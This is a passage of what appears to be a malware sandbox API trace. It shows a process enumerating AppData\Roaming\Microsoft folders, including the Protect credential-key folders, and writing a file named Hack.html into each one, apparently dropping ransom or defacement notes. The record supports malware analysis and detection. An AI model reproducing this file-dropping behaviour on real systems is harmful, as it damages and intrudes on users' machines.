lpOldMode=0x39ed28) returned 1 [0079.516] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\PowerPoint", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\PowerPoint", lpFilePart=0x0) returned 0x42 [0079.516] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\PowerPoint\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\PowerPoint\\", lpFilePart=0x0) returned 0x43 [0079.517] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\PowerPoint\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a728 [0079.518] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.518] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0079.518] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0079.518] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0079.518] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0079.518] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0079.518] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\PowerPoint", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\PowerPoint", lpFilePart=0x0) returned 0x42 [0079.518] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\PowerPoint\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\PowerPoint\\", lpFilePart=0x0) returned 0x43 [0079.518] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\PowerPoint\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a728 [0079.518] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.519] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0079.519] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0079.519] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0079.519] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0079.519] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\PowerPoint\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\PowerPoint\\Hack.html", lpFilePart=0x0) returned 0x4c [0079.519] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0079.519] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\PowerPoint\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\powerpoint\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.519] GetFileType (hFile=0x174) returned 0x1 [0079.519] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0079.519] GetFileType (hFile=0x174) returned 0x1 [0079.520] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0079.520] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Proof", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Proof", lpFilePart=0x0) returned 0x3d [0079.520] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Proof\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Proof\\", lpFilePart=0x0) returned 0x3e [0079.520] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Proof\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a728 [0079.522] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.522] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0079.522] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0079.522] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0079.522] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0079.522] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0079.522] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Proof", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Proof", lpFilePart=0x0) returned 0x3d [0079.522] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Proof\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Proof\\", lpFilePart=0x0) returned 0x3e [0079.522] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Proof\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a728 [0079.522] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.522] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0079.523] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0079.523] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0079.523] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0079.523] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Proof\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Proof\\Hack.html", lpFilePart=0x0) returned 0x47 [0079.523] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0079.523] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Proof\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\proof\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.523] GetFileType (hFile=0x174) returned 0x1 [0079.523] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0079.523] GetFileType (hFile=0x174) returned 0x1 [0079.524] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0079.524] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect", lpFilePart=0x0) returned 0x3f [0079.524] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\", lpFilePart=0x0) returned 0x40 [0079.524] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a728 [0079.524] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.525] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.525] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.525] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.525] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.525] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0079.525] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0079.525] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0079.525] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0079.525] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0079.525] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect", lpFilePart=0x0) returned 0x3f [0079.525] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\", lpFilePart=0x0) returned 0x40 [0079.525] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a728 [0079.526] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.526] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.526] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.526] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.526] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.526] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0079.526] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0079.526] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0079.526] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0079.527] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0079.527] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500", lpFilePart=0x0) returned 0x6d [0079.527] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\", lpFilePart=0x0) returned 0x6e [0079.527] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a728 [0079.528] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.529] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.529] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.529] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0079.529] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0079.530] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0079.530] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0079.530] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0079.530] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500", lpFilePart=0x0) returned 0x6d [0079.530] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\", lpFilePart=0x0) returned 0x6e [0079.530] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a728 [0079.531] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.531] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.531] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.531] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0079.531] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0079.532] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0079.532] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0079.532] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\Hack.html", lpFilePart=0x0) returned 0x77 [0079.533] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebe4) returned 1 [0079.533] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3111613574-2524581245-2586426736-500\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.534] GetFileType (hFile=0x174) returned 0x1 [0079.534] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe0) returned 1 [0079.534] GetFileType (hFile=0x174) returned 0x1 [0079.535] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0079.535] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000", lpFilePart=0x0) returned 0x6e [0079.535] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\", lpFilePart=0x0) returned 0x6f [0079.535] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a728 [0079.536] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.536] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.536] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.536] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.536] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.536] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.536] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.536] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0079.537] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0079.537] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0079.537] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0079.537] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0079.537] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000", lpFilePart=0x0) returned 0x6e [0079.537] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\", lpFilePart=0x0) returned 0x6f [0079.537] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a728 [0079.537] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.537] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.537] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.538] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.538] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.538] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.538] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.538] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0079.538] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0079.538] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0079.538] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0079.538] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Hack.html", lpFilePart=0x0) returned 0x78 [0079.538] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebe4) returned 1 [0079.538] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3388679973-3930757225-3770151564-1000\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.539] GetFileType (hFile=0x174) returned 0x1 [0079.539] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe0) returned 1 [0079.539] GetFileType (hFile=0x174) returned 0x1 [0079.542] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\Hack.html", lpFilePart=0x0) returned 0x49 [0079.542] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0079.542] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.543] GetFileType (hFile=0x174) returned 0x1 [0079.543] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0079.543] GetFileType (hFile=0x174) returned 0x1 [0079.544] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0079.544] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher", lpFilePart=0x0) returned 0x41 [0079.544] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher\\", lpFilePart=0x0) returned 0x42 [0079.544] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a728 [0079.545] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.545] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0079.545] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0079.546] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0079.546] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0079.546] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0079.546] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher", lpFilePart=0x0) returned 0x41 [0079.546] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher\\", lpFilePart=0x0) returned 0x42 [0079.546] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a728 [0079.546] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.546] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0079.546] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0079.546] SetThreadErrorMode 